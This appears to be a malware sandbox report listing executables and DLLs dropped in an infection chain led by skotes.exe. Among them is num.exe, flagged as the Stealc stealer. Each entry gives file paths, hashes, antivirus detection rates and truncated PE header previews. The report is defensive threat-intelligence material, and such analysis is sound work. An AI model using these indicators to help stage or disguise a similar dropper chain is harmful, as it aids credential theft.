MD5:	FBC1650A9C7F6F7C01AA9C1BD71CF2CB
SHA1:	02A2BBC7EDF8712575E11CA3A5B2FB38255B6851
SHA-256:	2222B91F09E31A309DE68A2D7F66EF1BA8588D5FD0C92C6B15CA4D57622D509F
SHA-512:	58558BDC6385A1991C315A5C46B296E9C77EF8EB689F6F32F6A3270D0E2C19576BEC877441C73697843F0A8D33B6B3C3DEB7EDDCC0491C5F4DEDAB2E5EBA97D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r....... ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... . *.........................@...jfbmubxy......X.....................@...qpyydaeu......r......j .............@....taggant.0....r.."...n .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584687144449934
Encrypted:	false
SSDEEP:	12288:QqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TM:QqDEvCTbMWu7rQYlBQcBiT6rprG8abM
MD5:	8462887B5C842A9AA303344CA3B72A05
SHA1:	D47FD9C18A1E000E7B7374067E36BBD91D5A082A
SHA-256:	18A281AE42D62960665AB2C643A5131D4D313EF259BB4C69F7B28A302B3F739D
SHA-512:	EB3E255DC0A8799A2F2738607AB24D06E265B63D4974CB4F778432BD05A8E57144E607448D043EF822207E97C27AB935ED07B105ED4E2835752C6C29C04F8F9A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....$g.........."..........X......w.............@..........................`......K.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2900480
Entropy (8bit):	6.555394345055829
Encrypted:	false
SSDEEP:	24576:lFsMrw991f3oE5c/JDuEJFvQec4FcPt1fc9wlyPHKZGHFlCRqxMZ4KJeRXYAoFcU:l7rw99mqVdPt1fLUzuqUymB1rLgb1P
MD5:	2422D51ED6D21DF3CE5591F3B0A03125
SHA1:	4EC30E94C8C554A45ADBC0826E3B97FDF40B0741
SHA-256:	98727C9EF422F67F6858530E833B101BF235D8E78B363C201FD0F0125C861C2C
SHA-512:	6F20C400E4F871950F86E9E3C800732ECDD71AB30D1090AC4E0C2DD085A6C3F5089ADF4AE1AC332B6CE5FC693F217942D323DECD3EC902FE0F3C7AA5272BE6F4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........P/...........@.........................../.....?.,...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...xtefpcuz..).......).................@...uqweurro.....@/.......,.............@....taggant.0...P/.."... ,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6172760
Entropy (8bit):	7.183897983146913
Encrypted:	false
SSDEEP:	98304:FwREOBlkqxKUUhU5/UBovRdMwZg/nE00lNX0adDzBfoRR:POBlkqgUIufKaARR
MD5:	6FDF2CDF68AB1880AA76E7938E241FA3
SHA1:	AFFC9A0AEA771AD101357CC728951F5938B5E4E6
SHA-256:	E61CE90DF13402909985F5312FDEF798736EB10E0B5B6B280FB826538E7A597A
SHA-512:	7E649DB70D39A135CD86A837308FB304F16C904456CA3B97A70B8F8B1FD617291DE8974AAB3808AC67E5D2F7E9EFA3840BBDEBA1E3558DE33587C7FF94CE231D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@...................................^...@......@...................p..q....P........................^.X(...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6172760
Entropy (8bit):	7.183897983146913
Encrypted:	false
SSDEEP:	98304:FwREOBlkqxKUUhU5/UBovRdMwZg/nE00lNX0adDzBfoRR:POBlkqgUIufKaARR
MD5:	6FDF2CDF68AB1880AA76E7938E241FA3
SHA1:	AFFC9A0AEA771AD101357CC728951F5938B5E4E6
SHA-256:	E61CE90DF13402909985F5312FDEF798736EB10E0B5B6B280FB826538E7A597A
SHA-512:	7E649DB70D39A135CD86A837308FB304F16C904456CA3B97A70B8F8B1FD617291DE8974AAB3808AC67E5D2F7E9EFA3840BBDEBA1E3558DE33587C7FF94CE231D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@...................................^...@......@...................p..q....P........................^.X(...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2900480
Entropy (8bit):	6.555394345055829
Encrypted:	false
SSDEEP:	24576:lFsMrw991f3oE5c/JDuEJFvQec4FcPt1fc9wlyPHKZGHFlCRqxMZ4KJeRXYAoFcU:l7rw99mqVdPt1fLUzuqUymB1rLgb1P
MD5:	2422D51ED6D21DF3CE5591F3B0A03125
SHA1:	4EC30E94C8C554A45ADBC0826E3B97FDF40B0741
SHA-256:	98727C9EF422F67F6858530E833B101BF235D8E78B363C201FD0F0125C861C2C
SHA-512:	6F20C400E4F871950F86E9E3C800732ECDD71AB30D1090AC4E0C2DD085A6C3F5089ADF4AE1AC332B6CE5FC693F217942D323DECD3EC902FE0F3C7AA5272BE6F4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........P/...........@.........................../.....?.,...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...xtefpcuz..).......).................@...uqweurro.....@/.......,.............@....taggant.0...P/.."... ,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2134016
Entropy (8bit):	7.958325842579587
Encrypted:	false
SSDEEP:	49152:8fc9iSlMYFmn4/S0e4VJOfNcsNTPN5eLIzY:8ffSlMOZRbRsNpPY
MD5:	FBC1650A9C7F6F7C01AA9C1BD71CF2CB
SHA1:	02A2BBC7EDF8712575E11CA3A5B2FB38255B6851
SHA-256:	2222B91F09E31A309DE68A2D7F66EF1BA8588D5FD0C92C6B15CA4D57622D509F
SHA-512:	58558BDC6385A1991C315A5C46B296E9C77EF8EB689F6F32F6A3270D0E2C19576BEC877441C73697843F0A8D33B6B3C3DEB7EDDCC0491C5F4DEDAB2E5EBA97D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......r...........@...........................r....... ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... . *.........................@...jfbmubxy......X.....................@...qpyydaeu......r......j .............@....taggant.0....r.."...n .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584687144449934
Encrypted:	false
SSDEEP:	12288:QqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TM:QqDEvCTbMWu7rQYlBQcBiT6rprG8abM
MD5:	8462887B5C842A9AA303344CA3B72A05
SHA1:	D47FD9C18A1E000E7B7374067E36BBD91D5A082A
SHA-256:	18A281AE42D62960665AB2C643A5131D4D313EF259BB4C69F7B28A302B3F739D
SHA-512:	EB3E255DC0A8799A2F2738607AB24D06E265B63D4974CB4F778432BD05A8E57144E607448D043EF822207E97C27AB935ED07B105ED4E2835752C6C29C04F8F9A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....$g.........."..........X......w.............@..........................`......K.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1003147001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003147001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7URDKE3CJSA37VV3INEEM0S4N1C.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1852416
Entropy (8bit):	7.948906985060717
Encrypted:	false
SSDEEP:	49152:FixF+gXwNbwrJKG2ZaXIAk9kJig94x2/exQ1bF6+/9:aFrwNbwcGMuhkxg94x1x0Fn
MD5:	025ADBE1C02028C4282272BF62A18A02
SHA1:	ACBC004CB428C36AA1844123778408FB12643452
SHA-256:	2E9700A63DF766C74019FA55FD589BFE100CF79AA13533A43B2039EF9B6AB7AB
SHA-512:	ABD08EB6E4EB346796FC5C5FC86F5876E491387BA0D86C6EACB71A025CD128683C2F089FBEDC109C827B06AF378F6AFC79781AEBF79E0758C494FAF23E6F07ED
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I.....4 ....@.................................W...k.......D...................<.I..............................I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...oibhsmco.0...`0..&..................@...rrchhzpy......I.....................@....taggant.0....I.."..."..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2712064
Entropy (8bit):	6.46883723805119
Encrypted:	false
SSDEEP:	24576:fIZLVANwcn+WggO3axg7+7zxiFJqrDgO2Sv4p19sKBhGDMjGnmKVMbMafJGtPtpa:gNiFnTCaC8DZ/KBwDMjGjMb2e005Xo8
MD5:	1AF38DAD1105E9914199EA0FF2832F33
SHA1:	F755C2622BE9B1137311E266D6D99EFAFE3E5A15
SHA-256:	3189DDE0FB2F54A82449303FDB659E85610E73BC7F9D7A9B0F5308F4D5A5C13E
SHA-512:	30296936C3533BEB630DE20F3EAF3ABDD62E21DD3327E6BF6C8A8A37C699D784B93D907F0D2F4780B2850B3020087825410CD6015E2CB1999D85DA591FCB7FDC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............).. ...`....@.. ....................... ..........`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mvtnwoxp. ).......)..:..............@...zodzljtk. ....)......<).............@....taggant.@....).."...@).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1852416
Entropy (8bit):	7.948906985060717
Encrypted:	false
SSDEEP:	49152:FixF+gXwNbwrJKG2ZaXIAk9kJig94x2/exQ1bF6+/9:aFrwNbwcGMuhkxg94x1x0Fn
MD5:	025ADBE1C02028C4282272BF62A18A02
SHA1:	ACBC004CB428C36AA1844123778408FB12643452
SHA-256:	2E9700A63DF766C74019FA55FD589BFE100CF79AA13533A43B2039EF9B6AB7AB
SHA-512:	ABD08EB6E4EB346796FC5C5FC86F5876E491387BA0D86C6EACB71A025CD128683C2F089FBEDC109C827B06AF378F6AFC79781AEBF79E0758C494FAF23E6F07ED
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I.....4 ....@.................................W...k.......D...................<.I..............................I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...oibhsmco.0...`0..&..................@...rrchhzpy......I.....................@....taggant.0....I.."..."..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\SWJQ0719J9GFR3PZ91XO7LBLZA7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2712064
Entropy (8bit):	6.46883723805119
Encrypted:	false
SSDEEP:	24576:fIZLVANwcn+WggO3axg7+7zxiFJqrDgO2Sv4p19sKBhGDMjGnmKVMbMafJGtPtpa:gNiFnTCaC8DZ/KBwDMjGjMb2e005Xo8
MD5:	1AF38DAD1105E9914199EA0FF2832F33
SHA1:	F755C2622BE9B1137311E266D6D99EFAFE3E5A15
SHA-256:	3189DDE0FB2F54A82449303FDB659E85610E73BC7F9D7A9B0F5308F4D5A5C13E
SHA-512:	30296936C3533BEB630DE20F3EAF3ABDD62E21DD3327E6BF6C8A8A37C699D784B93D907F0D2F4780B2850B3020087825410CD6015E2CB1999D85DA591FCB7FDC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............).. ...`....@.. ....................... ..........`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...mvtnwoxp. ).......)..:..............@...zodzljtk. ....)......<).............@....taggant.@....).."...@).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1852416
Entropy (8bit):	7.948906985060717
Encrypted:	false
SSDEEP:	49152:FixF+gXwNbwrJKG2ZaXIAk9kJig94x2/exQ1bF6+/9:aFrwNbwcGMuhkxg94x1x0Fn
MD5:	025ADBE1C02028C4282272BF62A18A02
SHA1:	ACBC004CB428C36AA1844123778408FB12643452
SHA-256:	2E9700A63DF766C74019FA55FD589BFE100CF79AA13533A43B2039EF9B6AB7AB
SHA-512:	ABD08EB6E4EB346796FC5C5FC86F5876E491387BA0D86C6EACB71A025CD128683C2F089FBEDC109C827B06AF378F6AFC79781AEBF79E0758C494FAF23E6F07ED
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@...........................I.....4 ....@.................................W...k.......D...................<.I..............................I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...oibhsmco.0...`0..&..................@...rrchhzpy......I.....................@....taggant.0....I.."..."..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\NVFTVRDLL64.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26664
Entropy (8bit):	5.522130132708777
Encrypted:	false
SSDEEP:	384:K7JTQ85kJnHzfs6h3L9AaI6waxnjgbSHxIYi5Km0f9NfNL1:geHzfsS3xI6lxjmYicm0VND
MD5:	A1632BF8A030FD810D2B716C39297CC5
SHA1:	FE210E233C3218B2224C83CD1D6A985D7C451A38
SHA-256:	30C2F0FC9C37B8A4AF5FE5A946ECF204BDB10FBFB1728FDAB9B00104DAD5AEAC
SHA-512:	C141C3791698FD1F7174D5F5E2D0E7FC8A50815F37835666AE7404E4B6B62F67F907CA94073364374E8CDC1E72FB1413138AFA5708E95CD6309D647774A8C6A5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R.c..R.c.P..R.Rich.R.PE..d...j..c.........." .........@...............................................`............`.......................................................... ...<...........B..(&...........................................................................................rdata..p...........................@..@.rsrc....<... ...>..................@..@....j..c........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... ...;...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\NvFrapsOpenVR.man (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	19387
Entropy (8bit):	4.593621921766137
Encrypted:	false
SSDEEP:	384:LlO4o0Bwx4j7W9RyAKtrlElelyl4lql2lolWlgth0yf1aXgSYC7OcyWod5d7knPS:LtBwq7W9RyAKtrlElelyl4lql2lolWl4
MD5:	990CE7FAE6E9D4DA5B07DA99B8E5C918
SHA1:	571309DF3787B9D80B238E275FC14F6C08581A01
SHA-256:	F52C4DCD61503F74EF1BC7F98CF8BB79963826CCCD35B0EFBFE5E3CAC8D75DD0
SHA-512:	690240495B7D41303D25B60B3DBB668C45C4DD6015F315DB80BA36656EB040A1D59B0D1FEAEC7ECA2AF2FC0C4DBA6BB6504D9B08BBEC40910CFF9EED4294E8DF
Malicious:	false
Preview:	<?xml version="1.0"?>..<instrumentationManifest ...xsi:schemaLocation="http://schemas.microsoft.com/win/2004/08/events eventman.xsd"...xmlns="http://schemas.microsoft.com/win/2004/08/events"...xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events"...xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"...xmlns:xs="http://www.w3.org/2001/XMLSchema"...xmlns:trace="http://schemas.microsoft.com/win/2004/08/events/trace"...>...<instrumentation>....<events>.....<provider......name="NVFT-ETW-OPENVR"......guid="{B37F4CA5-5507-42CF-B8C7-BABE280601D2}"......symbol="ETW_PROVIDER_NVFT_OPENVR_GUID"......resourceFileName="NvFrapsOpenVREvents.res"......messageFileName="msg"......>......<maps>.......<valueMap name="APIType">........<map.........message="$(string.Map.Unknown)".........value="0"........./> ........<map.........message="$(string.Map.OGL)".........value="1"........./> ........<map.........message="$(string.Map.VK)".........value="2"........./>........<map.........message="$

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29472
Entropy (8bit):	7.042110181107409
Encrypted:	false
SSDEEP:	768:BD7FEAbd+EDsIOmF+OiR9rikW/F+M9OAriXiRQU:M07sIOYRiPWkWNl9WXil
MD5:	077CB4461A2767383B317EB0C50F5F13
SHA1:	584E64F1D162398B7F377CE55A6B5740379C4282
SHA-256:	8287D0E287A66EE78537C8D1D98E426562B95C50F569B92CEA9CE36A9FA57E64
SHA-512:	B1FCB0265697561EF497E6A60FCEE99DC5EA0CF02B4010DA9F5ED93BCE88BDFEA6BFE823A017487B8059158464EA29636AAD8E5F9DD1E8B8A1B6EAAAB670E547
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(..n ..(...(...(...$..(...$..(...$..(..Rich.(..................PE..L......B...........!..... ..........p........0....P..........................P.......................................;.......;..(....................4.. ?...@.......0...............................................0...............................text............ .................. ..`.rdata.......0.......$..............@..@.reloc.......@.......2..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\ddETWExternal.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15400
Entropy (8bit):	6.508481145269509
Encrypted:	false
SSDEEP:	192:pUQl2bzfzEq+1QmZGdIYiYF80CKRZKx7yhDO4NKzYJzkMDxHtFhFYA1FG:mPIjaIYi5Km0hD9NfNzW
MD5:	BA6DFB6F8E350F05B34E97098766A59F
SHA1:	45FD6CF90130123B24431892E61DD2AFFECCA8C5
SHA-256:	75263FC3534A3162B9E44E353B3C2379169787286DF7B65CB4ADC3D8BFBD533C
SHA-512:	ABC703996A2947F36DC393B896FB7D7A3A0630F4CCEC6FF8F5077519B4FDC4A6464222EB653A5AF5B93D03E7BCCD728EB32D0F863532FE00E140B4904CFBB65F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R...R...R.....R...P...R.Rich..R.PE..d......[.........." .........................................................@............`.......................................................... ..................(&...........................................................................................rdata..p...........................@..@.rsrc........ ......................@..@.......[........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01..... .......rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\ddETWExternal.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (399), with CRLF line terminators
Category:	dropped
Size (bytes):	11436
Entropy (8bit):	3.5736297585775354
Encrypted:	false
SSDEEP:	96:HEwXjhdOxPUjRPUEvwG5yNq1U6W1ppHrVGtGlGd0pi+o/m/vUjWqkB4BVWeW8vT6:65UjZUhNq1U6mPM+
MD5:	A39215CF85D8B4140CF4ED3E215F87C4
SHA1:	8E6B89FB938F847C02DACF8E767C671D2218727C
SHA-256:	7AA7F8194A0FE5B2A713A610F7C3A22C74E82BFFDB7B13582BC97A8ED23389B7
SHA-512:	2D596634403F5A564314C6CC5D1E6F5A1CE0E9DD3B95502D4F64A2B1D42B3404ADC51AC4F97732EF2A3CD773AD96A3375C7D0BBE05F02AFDA6F5848860965717
Malicious:	false
